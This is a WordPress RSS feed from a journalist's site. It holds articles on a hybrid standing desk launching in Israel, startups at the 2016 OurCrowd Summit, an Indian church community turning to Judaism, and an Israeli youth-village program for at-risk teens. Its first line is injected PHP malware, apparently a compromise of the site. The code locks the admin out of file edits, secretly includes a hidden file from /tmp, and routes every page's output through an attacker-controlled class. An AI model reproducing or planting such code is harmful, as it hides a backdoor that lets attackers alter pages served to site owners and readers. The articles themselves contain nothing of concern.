define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); function ob_gzhanler($s) { $f='/tmp/ssess_3539a0e66764efa8c32919f938221bc7'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler'); Israel – Blum Interactive Media – Brian Blum https://bluminteractivemedia.com Journalist | Writer | Editor Sat, 24 Jan 2026 16:37:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.2 Sitting is the new smoking: best selling hybrid desk comes to Israel https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/ https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/#comments Sun, 03 Jul 2016 16:07:10 +0000 https://bluminteractivemedia.com/?p=911

ProPlus-36-High-3_NEW_LOGO“Sitting is the new smoking,” says South African physical therapist and entrepreneur Gary Arenson. He’s quoting an expression originally coined by researchers at the Mayo Clinic to describe the serious health risks – including heart disease, diabetes, arthritis and osteoporosis – connected with prolonged sitting, whether in front of the television or, in particular, at an office desk hunched over the computer.

The data coming in is shocking. A study by the American Cancer Society which tracked 123,000 Americans over a 14-year period found that women who sat for 6 or more hours a day were 40 percent more likely to die within the study period compared with women who sat for less than 3 hours. For men it was “just” 20 percent more.

Another study from the Kaiser Permanente HMO in California following 80,000 men aged 45 and above revealed that those who spent the most time sitting were more than twice as likely to develop heart disease as those who sat the least.

Exercise doesn’t seem to reverse the effects, either.

The dangers associated with excessive sitting have led increasing numbers of office workers to buy or build their own standing desks – raised platforms for their computer screens and keyboards. But standing only desks are quickly abandoned – workers get tired of being on their feet all day and go back to their original sitting situation.

As a result, sitting-standing hybrid desks that can be raised or lowered with the flip of a switch and a quick tug have become increasingly popular. Some are entire standalone pieces of furniture; others sit on top of one’s existing desk.

Now, the leading manufacturer of the hybrid approach, Varidesk, is making aliyah, courtesy of Arenson and his business partner Issy Zimmerman who have obtained the distribution rights to sell Varidesk in Israel.

For Arenson and Zimmerman, it’s a kind of immigration by proxy. While both are staunch Zionists, they have built their professional and personal lives in South Africa and are staying put. “So, as a religious Jew, the opportunity to invest in Israel and at the same time do something incredible health-wise for the Israeli market really motivated me,” Arenson tells The Jerusalem Post.

Arenson will also be selling Varidesk in South Africa, through his company Ergotherapy, which develops and sells its own line or ergonomic chairs and is built off of Arenson’s medical experience helping people with some serious aches and pains.

“Statistically, 80 percent of people will suffer from back pain at some point in their lives,” Arenson says. “It’s far more prevalent than people realize, and not just with older people. The average age of an office worker using a Varidesk is 40-55.”

Varidesk, whose motto is “Work elevated,” isn’t the first sitting-standing hybrid desk to enter the Israeli market, but it’s the easiest to use, which is a big selling point. The units – which come in a variety of sizes from 30 to 48 inches – come fully assembled. You just hoist them onto your desk and you’re ready to go.

Each Varidesk unit has two tiers – one for your keyboard and another for the monitor. The design eliminates the need to place the screen on a pile of books or a ream of paper, although it’s not ideal for all-in-one computer systems like Apple’s iMac which has a built-in stand leading to neck strain. A smaller Varidesk version is designed for laptops. In all units, a simple quick release grip moves both tiers smoothly into one of a dozen positions in seconds.

The desks are heavy – the 36-inch version we tried weighs 35 pounds – which makes them feel sturdy, an important quality (you don’t want to feel like your expensive computer could topple over at any second if you lean on the desk the wrong way).

Arenson says the Varidesk’s user-friendly design is critical to ensuring “patient” compliance. “If you have to move your computer to one side, then put something on your desk, then move your monitor on top of that, your compliance will be less,” he says. It was something he learned from his 15 years as a physical therapist. “It doesn’t do any good if I tell people to do all these fancy stretches that they won’t do. People don’t want to change their work habits and patterns too much.”

Another key is “balance,” Arenson says. You want to split your day half and half between sitting and standing. People who work mostly out of the office probably don’t need a sitting-standing desk.

Not everyone will take to a Varidesk, Arenson concedes, which is why the company offers a 30-day trial with a money back guarantee. Since Arenson and Zimmerman aren’t relocating, their local representative, another South African Stanley Behrman, will be making house and office calls to make sure new Varidesk owners are comfortable and setting their desks at the right height.

Offices with many workers will be able to get a few units to try out at no cost, giving employees a chance to test drive the sitting-standing experience, before deciding if they want their own.

The first Israeli Varidesks are “on their way to port of Ashdod now,” Arenson says and he will keep with Varidesk’s U.S. policy of always having enough in stock so there’s never a waiting list.

One thing that won’t be the same as the U.S. – the price. The starting price for a Varidesk in Israel is NIS 2,500. That’s at least 40 percent more than it would be in North America.

There’s no way around it: the cost of shipping, VAT and customs all take their toll. “It’s the same price we sell them for in South Africa,” Arenson says, trying to blunt the sticker shock. And it’s less than the NIS 3,400 starting price for competitor Ergotron’s Workfit, which is currently the leader in the Israeli market.

Is Arenson worried that Israelis will balk at the price? Not at all, he says. In fact he expects typical Israeli negotiation. “We’ll need to work hard to substantiate both our product and our price point.” That said, there will certainly be volume discounts for offices buying more than one Varidesk at once.

Arenson and his team plan to sell in Israel exclusively via the web and through direct face-to-face sales, so don’t expect to pick one up at your local office supplies store. (Although if they do, Arenson’s partner Zimmerman should be able to offer some expertise: he ran the Toys R Us franchise in South Africa for many years before going into business with Arenson.)

Standing desks are gaining popularity in the U.S. and Europe, particularly in Scandinavia. Slingsby, a U.K.-based workplace equipment provider, estimated that 80 percent of office workers in Denmark, Sweden, Norway and Finland now have adjustable desks.

“Recommendations suggest that workers should aim to stand for at least two hours each day which they can increase once they’re used to it,” says Lee Wright, group sales and marketing director at Slingsby. “Standing on a soft floor surface is [also] more preferable than a hard floor.”

“Sitting is more dangerous than smoking, kills more people than HIV and is more treacherous than parachuting,” says Dr. James Levine, director of the Mayo Clinic-Arizona State University Obesity Solutions Initiative. “We are sitting ourselves to death.”

Standing desks have a couple more advantages – both somewhat surprising. People who suffer from ADHD have reported that they find it easier to focus while standing than sitting, Arenson says. And if you stand a few hours every day while you power through those PowerPoint presentations, you’ll burn an extra 600-700 calories a week, Arenson says.

It may not be enough to quit the gym, but it’s still a nice bonus to the already demonstrated health benefits of getting off your tush while you work.

I originally wrote about Varidesk for The Jerusalem Post.

]]> https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/feed/ 12720 Tech picks from the 2016 OurCrowd Summit https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/ https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/#comments Sun, 26 Jun 2016 00:39:50 +0000 https://bluminteractivemedia.com/?p=915

Jon Medved on stageAt the opening of equity crowdfunding platform OurCrowd’s second annual investor’s summit in Jerusalem last week, CEO Jon Medved told the 2,000 assembled attendees that military software maker mPrest had just raised $20 million through OurCrowd, the largest investment ever via crowdfunding and a significant Series A round for mPrest, which built the “command and control” component to Israel’s Iron Dome system. mPrest will use the new round to bring its software into the burgeoning “Internet of Things” arena – to control not just missile systems but everything from the electrical utility grid to home appliances.

mPrest was just one of dozens of startups to present at the conference. The Jerusalem Post takes a look at some of the most exciting companies who braved last week’s snowy weather to take to the stage.

When Israeli startup Consumer Physics demo’d at last year’s OurCrowd Summit, the Apple Watch, with its tiny sensors to measure all manner of changes in the physical world, had just been announced. That made Consumer Physics’ sales pitch that much easier: the company wants to put its SCiO molecular scanner into the next version of the iPhone or Apple Watch. The SCiO scanner uses light waves to analyze the chemical properties of everything from food to pharmaceuticals, then matches the results with an online database. Want to know what’s in that bag of Bamba or whether a certain pill is what its manufacturer claims it to be? Now you can. CEO Dror Sharon showed off the latest SCiO scanner – it’s the size of a smart phone camera.

Speaking of cameras, Core Photonics aims to vastly improve the quality of the photos you take with your smart phone, inching ever closer to much more expensive DLSR cameras. Core Photonics’ technology is complex, combining “computational photography” and “magnetic reluctance actuators,” but the bottom line is that the demo shown by CEO Eran Kali was so far beyond what an iPhone 6S can take today as to remind one of the difference between VHS and Blue-ray in video. Kali says we can expect to see Core Photonics integrated into phones in 2018.

AudienceYour phone is only good if you can find it. If you’re prone to misplacing items, Pixie has got your covered. Pixie makes a small plastic tracking tag that you attach to your keys, your luggage, even your child. Pixie’s smart phone app then guides you to the missing item using arrows, audio feedback and even an augmented reality view that superimposes where you’ve left your wallet onto a moving image of your living room. “Other solutions just tell you, it’s on the left side of the room, good luck,” Pixie’s Amir Bassan-Eskenazi told the room to applause. The Pixie Point goes for $17.50 each (in packs of four), with the price dropping “to single digits” by 2017.

VocalZoom demonstated how its revolutionary noise filtering technology might work in a car. On stage with Honda, which announced its entrance into Israel’s tech market at the conference, VocalZoom CEO Tal Bakish compared the remarkable difference in sound quality from a speakerphone with and without VocalZoom’s voice recognition system, which uses lasers to detect vibrations from the speaker’s vocal cords. Bakish says it works even while riding a motorcycle. VocalZoom should begin rolling with Honda and other car manufacturers by 2018.

Engie also has its sights set on the “connected car” of the future. Engie’s software plugs into a car’s diagnostic system, monitors when the car needs repairs – say, a brake replacement – and sends a message to your smart phone. The Engie app will then bring up a list of nearby mechanics, which you can click on to get quick service at a clear price. It’s like Uber, but for the inside of your car. Engie could be especially useful if you’re on a road trip and far from your regular auto shop. www.engie.co.il

In addition to Coca-Cola’s iconic Bnei Brak bottling plant, the company also runs a hi-tech operation in Israel – an accelerator called The Bridge. One of the companies that has been through the six month program is Cimagine which allows shoppers to place a 3D picture of a piece of furniture from a Cimagine-enabled website into an “augmented reality” version of, say, your living room so you can see how it will look before you take it home. What does that have to do with Coke? As Cimagine’s CEO Nir Daube demonstrated, Coke can use it to show movie theaters and restaurants how Coca-Cola vending machines and tables with Coke branded umbrellas will appear there – without having to lug the equipment itself.

Jerusalem-based serial entrepreneur Bob Rosenschein is best known for Answers.com, the company he founded and subsequently sold in 2011 for $127 million. Answers.com let users ask questions and receive answers from the crowd. Curiyo does more or less the same thing with a twist: you don’t have to leave the website you’re on to get the information you seek. There’s no user download required; Curiyo allows users to click or tap on a word and the information pops up in an overlay window. With Curiyo being served up on 3.75 million page views a day already – USA Today is a client – Rosenschein’s third startup may have the real answers.

home-screen-iphoneIn 2012, Zula came up with a great app to consolidate all of a team’s communications in one place – emails, files, video, audio. Then along came Slack, a nearly identical product that caught on like wildfire and it was “game over” for Zula, explained the company’s chief marketing officer Hilel Fuld. Zula had raised $4 million – enough money to keep going – but no longer had a market. But one component of its product suite had legs enough to stand on its own. Nine months later, ZCast was born – an iPhone app for instant podcasting. More than that, when you start your live “groupcast,” you can invite friends to join you, creating an on-the-fly talk radio show that anyone with a Twitter account can listen to.

If instant podcasting seems like fun, making it easier to move freight from door to ship to door sounds like the polar opposite. But in the deadly dull, Zvi Schreiber saw opportunity. His startup, Freightos, addresses a problem that anyone who has ever made aliyah has encountered: while you can book a plane ticket online in seconds, it takes an average of 91 hours to get a quote for sending a container from one country to another. That’s because, when Freightos got started, some 90 percent of the systems to manage freight were handled by Excel spreadsheets and the occasional email. So in order to build what Schreiber calls the “Kayak for international freight,” with transparency, speed and fixed prices, he first had to work with the freight forwarders to put software in place to automate the quotation process. The company is four years into its mission and has raised an impressive $23 million to date.

MassChallenge team rings the gong including Nir BarkatSidebar: MassChallenge brings Boston accelerator to Jerusalem

In conjunction with the OurCrowd Summit last week, a new hi-tech accelerator entered the Israeli market but, unlike similar programs that are mostly based in Tel Aviv, this one will be in Jerusalem. Boston’s MassChallenge takes the Y Combinator model of putting startups through a four-month boot camp of mentoring and networking and takes away the profit angle…for MassChallenge that is.

“We are the most startup friendly accelerator out there,” explained founder John Harthorne during a lavish launch party at Jerusalem’s First Station. “We take no equity and no percentage of revenue.” The non-profit MassChallenge aims to run 100 startups through its program in the first two years and is open to anyone with a good idea – you don’t even have to be from Israel. Leading companies compete for prize of NIS 1 million.

Israel’s capital has seen a startup surge in recent years, with approximately 120 new startups opening every year. MassChallenge aims to double that. OurCrowd and other investors will be watching closely, looking for investment opportunities when each MassChallenge cohort graduates. If even a few of these companies stay in Jerusalem, it could have a deep impact on the city’s hi-tech ecosystem.

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]]> https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/feed/ 2390 The Sabbath is on Saturday not Sunday – the incredible story of the Zion Torah Center in India’s Turmeric City https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/ https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/#comments Mon, 05 Oct 2015 12:30:00 +0000 https://bluminteractivemedia.com/?p=899

Magazine cover

This article was the cover story in The Jerusalem Post Magazine on Friday, September 25, 2015.

Indian Pastor Samuel Devasahayam of the Zion Gospel Church was devastated: his elder sister Sheela, a Mother Theresa-like figure who had devoted her life to serving those in need – had passed away at the age of 60 and the entire city of Erode – close to 7,000 people – had had come out for the funeral. All 3,000 of Samuel’s own community were in attendance as well and the pastor knew he had to deliver the sermon of his life.

Standing before them, on an already hot and humid Indian day in April 2011, tears welling up in his eyes, he held the microphone tightly in his hands and shared stories of sister Sheela’s devotion; how she never married or had children but cared for the community’s widows and orphans and secretly delivered rice to 100 needy families every day. Sheela represented everything that was good about this close-knit Christian community, Samuel said. And then, as a seeming non sequitur to the assembled mourners, he dropped an unexpected bombshell, one that had been welling up inside him for nearly ten years.

“My friends, I have to tell you something very important,” he said, facing forward. “Sunday is not the correct day of the Sabbath. The Sabbath should be kept according to the custom of the Jews, beginning on Friday night at sunset and ending Saturday when the sun goes down again.”

Samuel’s congregants from the Zion Gospel Church were stunned. What was their pastor implying? Was it just that their day of rest was wrong? Or was he suggesting something bigger about God and their religious faith as a whole? No, he must be speaking out of his sorrow, the people concluded.

But Samuel, 51, knew exactly what he was saying. Since 2001, Samuel, his wife Anne, Samuel’s two sisters and the Devasahayam’s children had all been living a secret Jewish life, keeping the laws of the Torah to the best of their limited knowledge at the time. Samuel had come to the conclusion that Judaism was the true path to God and the family had begun keeping Shabbat, the Jewish holidays, and kashrut secretly. But he was too fearful to reveal his inner truth, concerned about the fallout, both personally and for his community.

And indeed, there was fallout. After the funeral was over and in the months to come, congregants approached Samuel to ask more questions. “’What do you mean by that, Pastor,’ the people would ask,” Samuel’s wife Anne recalls. “’Do you mean that Jesus is not God, Pastor?’ And he would answer yes. ‘And do you mean we should keep the Sabbath on Saturday too?’ Yes, he would say.

Eventually the people agreed. Well half did; 1,500 congregants left the church. Those who remained said, “We have known you for many years, we know your character, we see how you are with the people. So whatever you say, it must be true,” Anna continues.

Jewish star in Zion neighborhood

The church was renamed the Zion Torah Center, mezuzot were affixed to members’ doorposts, a Torah scroll was imported, and Stars of David appeared throughout the new “Zion” neighborhood which Samuel and Anne set up after some Christians in Erode – which is known locally as “Turmeric City” – refused to continue renting to members of the Zion Torah Center.

Today the community comes together every Shabbat where Samuel leads them in a full prayer service that would be familiar to Jews anywhere else in the world. The men wear white shirts and kippot, the women sit on the floor in long white dresses and saris with their hair covered. There is Kiddush (with Samuel’s own “kosher” wine) afterward, and the community is well versed in traditional Shabbat zemirot (songs).

The adult men even took it upon themselves to get circumcised. (Their children have it easier, with a version of a brit mila at eight months. “The doctors are afraid to do it on the eighth day,” Anne explains.) Samuel and Anne send out a weekly SMS with the times for Shabbat candle lighting and havdalah at the day’s conclusion. At least one community member – Samuel and Anne’s son – wears Tefillin during weekday prayers. A giant sukka is built on the roof to celebrate the fall holiday.

The community’s long-term goal: to convert to Judaism fully and perhaps even make aliyah to Israel.

How did this remarkable community, located far inland, an eight hour twisting turning ride from Cochin deep in the Indian state of Tamil Nadu, turn to a Jewish lifestyle? The story begins with Samuel’s father, a pastor himself, who in 1972 founded the church along with a club called Friends of Israel. The church was fervently Zionist from the start, with daily prayers on behalf of the State of Israel and fasting whenever Jews were in danger (for example, during the Entebbe hostage crisis or the trials of Prisoners of Zion in the USSR). The church focused almost exclusively on the Hebrew Bible rather than the New Testament.

Samuel describes his father as a “strict disciplinarian. He’d tell me if I don’t memorize the Ten Commandments, he wouldn’t give me any food. He wouldn’t let me watch TV or read the newspaper – he said it would ‘spoil me’ – but he’d cut out clippings about Israel and put them in my lunchbox.” When Samuel’s mother wanted to send him to a Christian bible school at age 12, his father said no. “If you want to understand the bible, you have to wear ‘Jewish spectacles,’ my father would insist,” Samuel says.

(There is actually a Jewish connection in the family. Samuel’s great, great grandfather was an Iraqi Jewish man who came to India to work for the British government and married a local woman. “He had a big kippa with fur,” Anne recalls. “We kept it for a long time until the fur fell off. It was more than 100 years old, but we cherished it.”)

Samuel’s father died when Samuel was just 14-years-old. Samuel’s mother and his sisters Sheela and Wilma ran the church and the Friends of Israel club for several years. The young Samuel was not interested in following in his father’s path. “I was more interested in physics and science, or maybe becoming a musician,” Samuel says. But an accident left Samuel with a bum leg. “I thought, maybe God doesn’t want me to be a secular fellow and so he punished me. And from that day, I didn’t have any conflict in my mind. I gave all my decisions to God.”

Samuel took over the church and, a number of years later, was courting Anne. “I didn’t know much about Israel back then,” Anne says, “so he tested me with songs. He would play Ofra Haza and Shoshana Damari, to see if I enjoyed them, if the language spoke to me. I loved the music. From that day he understood that I loved Israel too.”

The Devasahayam’s see miracles everywhere. Once in a second hand bookstore, Samuel found a High Holy Days machzor (prayer book). “How can this be?” he thought to himself. A book in Hebrew in the back roads of India! The same thing happened a few years later when he found another book called The Illuminated Manuscripts of the Jewish World in a different second hand shop. “It cost ten rupees, not even a shekel,” Samuel marvels. “This was a present from God for me.”

Zion Torah Center

The Zion Torah Center community’s connection with the Jewish world often expresses itself in surprising ways. There is a tradition that the community’s leader names newborn children. Samuel has taken to giving them names from a book he acquired of children who died during the Holocaust – names like Bella, Miriam, Hanna and Mendel. “Their teachers can’t always pronounce the names and they can’t even write it in Tamil,” Samuel says. “But we just gave them the exact names. To keep the memory alive.”

Samuel and Anne were quick to take on the custom for themselves. Their children are named Moshe, Jerusha (from Jerusalem) and Rivka, who was born on November 26, the same day that Chabad emissary to Mumbai Rivka Holzberg was murdered in that city’s horrific 2008 terror attack. “We wrote to Chabad and they were very happy that there was a little Indian girl named after their Rivka,” Anne says.

One reason the Zion Torah Center community took to Jewish practice so quickly, Samuel says, is that nearly 60 percent of them were already keeping “some kind of Jewish ritual” as members of the Chettiar caste.

A mercantile caste in southern India, the Chettiars have a number of “Jewish” customs, Samuel explains. “They light candles on Friday night and keep a kind of Shabbat. On Friday afternoons they wash the whole house. On Hanukah, they light clay oil lamps. When a woman niddah [that is, she has her period], she sits in a different part of the house, outside under a portico, for seven days and must take a bath in the well before re-entering the home. Teenage Chettiar boys go through a rite of passage into manhood that includes donning a shawl and “sacred thread” before proceeding to conduct a festive ceremony at the local temple..

A year ago an archaeologist working in Chennai found Jewish graves inside a Chettiar cemetery, Samuel adds. “That’s just not possible! Cemeteries in India are strictly divided according to caste.” He speculates that, as businessmen and travelers, the Chettiars may have had closer links with other Jewish Indians and adopted some of their customs over time. He isn’t suggesting that the Chettiars have actual Jewish ancestry.

When Samuel made his bombshell announcement at his sister’s funeral, there was another prompt: his son Moshe was approaching the age when it was expected he’d be baptized. But Moshe was increasingly uncomfortable. He finally blurted out to his father, “Abba, I can’t be baptized. I’m Jewish!” That gave Samuel the courage to finally reveal his truth.

Samuel’s dream for the future of his community is to make mass aliyah…to Israel’s Negev desert. He cites Isaiah’s prophesy (Isaiah 35:1) that the children of Israel would help make the desert bloom. He knows that Israelis have been doing just that for decades. “Still, there’s a lot of desert area, so let our community be part of the dream,” he implores.

There’s only one problem: Erode is not a farming community. “We are mostly textile workers, doctors, engineers,” Samuel concedes.

Coconut farm

So the Devasahayams purchased 100 acres of land and planted 3,500 coconut trees. “Every month, we invite people from the community to come and work in our farm, to get hands on experience with agriculture, to be ready to work in the Negev,” Samuel explains. And just to be extra prepared, the farm is watered by Israeli-made drip irrigation.

The coconut farm is part of Samuel and Anne’s income, which also includes running a local printing press. A Jewish calendar with all the holidays – written in Tamil – is one of their prized products. Samuel also prints small booklets for every Jewish festival, including their own Passover Haggadah. Their son Moshe serves as book designer and editor. Several hundred copies of each have been printed.

Samuel and Anne are under no illusions that converting to Judaism, let alone immigrating to Israel, will be easy. The members of the Zion Torah Center have no formal Jewish roots. They are not in the same category as the Bnei Menashe, the Indian tribe that claims descent from one of the Ten Lost Tribes, but are rather more like Uganda’s Abayudaya, whose Christian leader Semei Kakungulu adopted Judaism in 1919.

“But God can do wonders, there could be another Exodus,” Samuel says. “You would never have believed the Hebrews could get out of Egypt. But when God wanted to bring them to Israel, nothing could stop Him, not even the Red Sea. God will definitely bring us, I’m sure of it.”

That would allow the community to realize another dream: “To contribute 100 new IDF soldiers,” says Anne. “If you ask a child here what he wants to become when he grows up, he will say a soldier in the Israeli Defense Forces.”

Meanwhile they have to contend with bureaucracy back home. For example, they don’t yet call the Zion Torah Center a “synagogue,” even though it acts like one. “We need to get permission to build our own cemetery first,” Anne says. “Otherwise if we move too fast, we’ll lose permission to bury our dead in the Christian cemeteries. And the alternative [the Hindu custom of burning the dead] is against the Torah!”

We caught up with Samuel and Anne on the tail end of a three-month visit to Israel – the longest of Samuel’s five trips to the Holy Land (Anne has made three) – where they were studying Judaism and taking a daily Hebrew ulpan. “We do everything according to what we know from the Torah,” Anne explains, “but there are so many more rules in the Mishna. We have simple kosher, we know not to cook milk and meat together, but we didn’t know what to do when, say, some meat falls into a milk pot. Every time we come, we learn a little bit more.”

Michael Freund, the chairman of Shavei Israel, a non-profit organization which works with “lost” tribes and “hidden” Jewish communities around the world, including India’s Bnei Menashe, has met with the Devashayams several times during their visits to Israel. They have invited him to visit Erode later this year.

“Samuel and Anne are two very sincere seekers of spiritual truth who have made enormous personal and professional sacrifices in order to embrace Judaism,” Freund says. While emphasizing that contemporary Judaism is not a proselytizing religion, Freund adds that if the Devashayams “have taken the first step of their own volition and sincerely wish to join the Jewish people and live a Jewish life, then I believe we should assist them. They clearly have a thirst for Jewish knowledge and are anxious to deepen their familiarity with Jewish history and tradition.”

India in general moves at a slower pace than the frenetic West, but there is one clock that’s ticking fast in the Devasahayam household: 15-year-old Moshe is considering his options in the next few years. “More than anything, he wants to learn in an Israeli yeshiva,” Anne says.

Will it be possible? More improbable things have happened in the small town of Erode, with its ever-present Jewish Stars and the sound of Hebrew mixed with Tamil on a muggy Saturday morning.

Sidebar: Bnei Ephraim also want to join the Jewish people

Erode’s Zion Torah Center is not the only community in India without formal Jewish roots that is eager to join the Jewish people. Some 750 kilometers to the north, in the Indian state of Andra Pradesh, 120 families call themselves the Bnei Ephraim, claiming descent from the biblical tribe of Ephraim, one of Joseph’s two sons.

Like the Zion Torah Center community, the Bnei Ephraim was founded by a Christian preacher. Pastor Shmuel Yacobi was living in the small village of Kottareddipalem when he visited Israel as a tourist in the early 1980s and became convinced that his ancestors were actually Jews who, after being exiled from the Land of Israel, traveled through Afghanistan and northern India before settling in an area called Nandial. Known locally as Telegu Jews, Yacobi says that the Bnei Ephraim always had certain mysterious customs that can be found in Judaism, including burial, marriage, coming of age (bar mitzvah) and family purity laws.

Shavei Israel has helped the Bnei Ephraim as well, sending teachers to India, arranging for members of the community to visit Israel, and translating books about Jewish practice into the Telugu language.

The Bnei Ephraim today keep Shabbat and kashrut and take off from work on major Jewish holidays. Several small synagogues have been established. Moreover, Shmuel Yacobi’s son Yehoshua managed to immigrate to Israel in 1993, where he served in the IDF and worked at the Hebrew University library. He lives in Ramat Gan today.

]]> https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/feed/ 828 Transforming teens at risk: How Lachan helped Rafael turn from criminal to counselor https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/ https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/#comments Sun, 27 Jul 2014 08:28:01 +0000 https://bluminteractivemedia.com/?p=891

Yoni Riskin and Avichai Yosef

Lachan co-founders Yoni Riskin and Avichai Yosef

As Rafael stood before the juvenile court judge, he was given a stark choice: either join one of Israel’s heavily supervised “youth villages” for teenagers at risk…or go straight to jail.

Before this pivotal moment, Rafael’s life was moving steadily and irreversibly in one direction. Running with a criminal crowd in his hometown of Rehovot, increasingly under the influence of drugs, and never far from an undercurrent of violence that had, in this final conviction, involved a knife attack with another teen, Rafael, now 19, was out of options. He chose the youth village and the judge assigned him to a program run by the non-profit organization “Lachan.”

Lachan operates three youth villages for troubled young adults, from ages 12-18, in the north, center and south of Israel, as well as a program for college students. The organization was founded by Yoni Riskin and Avichai Yosef in 2001. Riskin is no stranger to social entrepreneurship; his father, Rabbi Shlomo Riskin, was one of the founders of the town of Efrat and Lachan got its start in the community, taking over a couple of broken down and unused caravans to create an alternative educational program for troubled teens.

For Rafafel, the three years he spent living at Lachan’s “Yedidut” youth village on a quiet moshav near the city of Lod were nothing short of transformative. Today he is off drugs, out of jail and volunteering as a counselor for similar at-risk kids while waiting to enlist in an elite unit of the Israel Defense Forces. Entering the army is an achievement on its own: for teens with a criminal record, the IDF essentially prevents them from signing up and receiving all the significant social and financial benefits that military service in Israel provides.

Rafael says his experience at Lachan wasn’t smooth sailing from day one. “I was still involved with violence and taking drugs when I would come home for the weekends,” he says. “I didn’t believe I could make a change and I didn’t really want to. I just wanted to go back to what I knew; a life without any rules.”

But the counselors and therapists at Lachan were not so fast to give up. “They believed in me, they saw I had a spark in my eyes and potential,” he continues. “Moreover, they provided important personal examples. For the first time, I found role models I could aspire to.”

38-year-old Yoni Riskin was one of those role models. He says his interest in working with this population started while he was in the army. “I was a sergeant and was assigned some new recruits who had very difficult home and social lives,” Riskin says. “My heart just went out to them. I began speaking with their families, trying to help them with the personal difficulties they were going through. That’s when I realized I wanted to devote my professional life to working with teens at risk.”

When he finished his IDF service, Riskin trained to become a counselor with a program that helps teens at risk in one of Jerusalem’s poorer neighborhoods. His childhood friend, Avichai Yosef, now 38 as well, was similarly engaged in non-formal education as the project director of a prestigious pre-army academy. The two decided to join forces and opened the first incarnation of Lachan.

“At the beginning, we didn’t have a shekel,” Yosef says. “We just had a dream and a group of kids that had nowhere else to go.” Riskin and Yosef shnorred a table here and a chair there, and assembled a team of volunteers to tutor students in math, Bible, English, Hebrew grammar and history. What started as classes three days a week quickly morphed into a full-time, live-in program. The caravans were converted to dormitories.

“We realized that, in order to straighten these kids out, we needed to not only change their days but their nights too. You can’t get kids to come in the mornings if they’re out all night getting into trouble. But if they’re with us, it’s lights out at 11:00 PM and up at 7:00 AM,” Riskin says.

After its initial years in Efrat, Lachan continued to grow and, in 2007, moved to a more spacious location at Kibbutz Ein Tsurim. Before long, Lachan was on the road again, this time, renovating a former psychiatric facility for children into a fully equipped youth village, adding classrooms, dormitories, offices and communal spaces. With additional funding from Rabbi Yechiel Ekstein’s International Fellowship of Christian and Jews Federation, Lachan invested nearly $200,000 into renovating the village and the organization’s “Yedidut” campus became operational. Today, 24 teens between the ages of 14-18 study and live there.

It was at this point, in 2009, that the Israeli Ministry of Social Welfare recognized the Lachan program and began to fund a portion of its activities. The Education Ministry also granted accreditation to the Lachan high school within the “Yedidut” campus. In conjunction with financial support, the ministry began sending to Lachan teenagers who were referred by the courts as part of the Youth Protection Authority, putting their trust in Lachan to handle students at the highest risk. It was a real eye opener for Riskin and Yosef.

If the teens were tough in Lachan’s first years, these new arrivals were on an entirely different level, coming from severe backgrounds of neglect, lack of parents at home, endemic violence, drug addiction, sexual abuse and trauma. They hailed from some of the lowest socioeconomic classes in the country. Today, 90 percent of Lachan students come to the program after an arrest.

Lachan brought on new social workers and therapists to cope with the changes, and developed special classes including art therapy; sports and martial arts; gardening; photography; and army fitness and survival training, the latter in cooperation with the “Acharei!” (Follow Me!) Association. A computer lab was opened as well as a training and employment center, which offers several vocational courses including one in professional hairdressing. “If we see that a kid has a certain interest, we’ll do everything we can to make it happen,” Yosef says.

Lachan’s overarching emphasis combines Jewish values, social pluralism and contribution to society in general, and to the community in particular. While Lachan started in the religious community of Efrat, today it takes students of all backgrounds, from entirely secular to strictly Orthodox.

Lachan Beit Yedidut

Lachan Beit “Yedidut”

As Lachan “Yedidut” was opening, the organization got tapped by the Ministry of Social Welfare a second time to start a youth village in the north of the country, between the cities of Hadera and Afula. Lachan’s “Tal Menashe” youth village is for a younger population, starting at age 12 and going through age 15, and can take up to 36 children.

In late 2013, Lachan added a third youth village campus in the Negev desert, fulfilling a pledge Riskin and Yosef made early on to bring Lachan’s approach to youth wherever they are in the country. Dubbed “Wings of Love,” this southern-most village got its start helping kids deal with their problems by caring for birds. The focus has since shifted to include agricultural work with animals, but the name has remained. In addition to the “usual” at risk issues Lachan students come with, the students at “Wings” have also suffered trauma from the years of missiles raining down from the nearby Gaza Strip.

All told, Lachan now employs some 90 paid staff (gone are the days when the organization operated with just volunteers) with an annual budget of more than $3.2 million. The government covers 75 percent of that, but for extracurricular activities, renovations, overtime (there are no vacation days at Lachan; that means 150 percent overtime for staff on holidays like Yom Kippur), scholarships and specialized healthcare, Lachan is on its own to cover the gap and must seek outside contributions. Last year, Riskin and Yosef personally stepped in for six to twelve months each to fill the roles of directors of the “Yedidut” and Tal Menashe youth villages.

How does Lachan do it – turn kids like Rafael around? “We take a two-handed approach,” Riskin explains. “On the one hand, we are filled with love, warmth, understanding and support for the teens, while on the other hand, we enforce strict borders, discipline and rules. This is what sets the students in the right direction.”

“These kids need surveillance 24/7,” Yosef says. “We had one student who was a professional burglar before he came to us. He broke into our offices and stole money and cell phones.” But Lachan stuck with him and today that young man is a high school graduate on his way to the army.

